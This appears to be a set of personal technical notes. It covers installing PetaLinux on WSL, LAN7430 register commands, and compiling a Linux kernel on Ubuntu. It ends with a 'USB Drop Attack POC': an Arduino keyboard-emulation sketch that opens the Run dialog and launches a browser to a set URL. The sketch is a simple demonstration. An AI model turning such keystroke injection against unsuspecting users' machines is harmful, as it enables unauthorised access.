PetaLinux 2020.1 Installation Steps on WSL Ubuntu 20.04 64-bit

Update from previous post

Dependencies:

sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install gcc-multilib build-essential libsdl1.2-dev libglib2.0-dev python2.7 tofrodos gawk xvfb gcc g++- git make net-tools libncurses5-dev tftpd zlib1g-dev libssl-dev flex bison libselinux1 gpg wget diffstat chrpath socat xterm autoconf libtool tar unzip texinfo zlib1g:i386 libsdl1.2-dev libglib2.0-dev

Installation:


mkdir -p /opt/petalinux/2020.1
sudo chown admin:admin -R /opt/petalinux
./petalinux-v2020.1-final-installer.run -d /opt/petalinux/2020.1
export PATH="/opt/petalinux/2020.1/tools/common/petalinux/bin/:$PATH"
source /opt/petalinux/2020.1/settings.sh

LAN7430 Register Instructions

LAN7430 Register Instructions

Get ID

busybox devmem $((0xfbc00000+0x0000)) 

Initalise MAC

busybox devmem $((0xfbc00000+0x0100)) 32 $(( `busybox devmem $((0xfbc00000+0x0100))` | 0x00001000 | 0x00000800 ))

PHY Reset

busybox devmem $((0xfbc00000+0x0014)) 32 $((`busybox devmem $((0xfbc00000+0x0014))` | 0x00000010))

Read Phy Ready Status (not working?)

# PHY_RST
echo $((! (`busybox devmem $((0xfbc00000+0x0014))` )& 0x00000010 )) 

# PHY_CTL_READY
echo $((`busybox devmem $((0xfbc00000+0x0014))` & 0x00000080)) 

References

Compile Kernel on Ubuntu 20.04 x86_64

Compile Kernel on Ubuntu 20.04 x86_64

Install the missing dependencies

apt-get update && apt-get upgrade && apt-get install -y build-essential libncurses5-dev gcc libssl-dev grub2 bc bison flex libelf-dev

Then we are going to download the kernel from kernel.org

wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.7.5.tar.xz
tar -xvf linux-5.7.5.tar.xz

Copy the existing config file so that the correct modules for the ardware of the machine you are compiling the kernel for

cp /boot/config-$(uname -r) /root/linux-5.7.5/.config

Then we are going to compile the kernel firstly you want to cd into the kernel folder

cd /root/linux-5.7.5
make menuconfig
make -j8 deb-pkg
dpkg -i ../linux-*.deb
update-grub

Then you can proceed to rebooting the machine by typing the following

reboot

Once the machine is rebooted you can confirm the latest kernel by entering the following command

uname -a

USB Drop Attack POC using Arduino

Simple POC by using Arduino as a USB HID.

The Arduino will attempt to make the computer go to a specific website via keyboard input.

#include "HID-Project.h"

void setup() {
  // Setup
  Keyboard.begin();
  delay(1000);

  // Attack
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');  
  Keyboard.releaseAll();
  delay(1000);
  Keyboard.println("iexplore https://imsj.dev/tools/test.php");
  Keyboard.press(KEY_ENTER);
  Keyboard.releaseAll();
  delay(1000);

  // End
}

void loop() {
// do nothing
}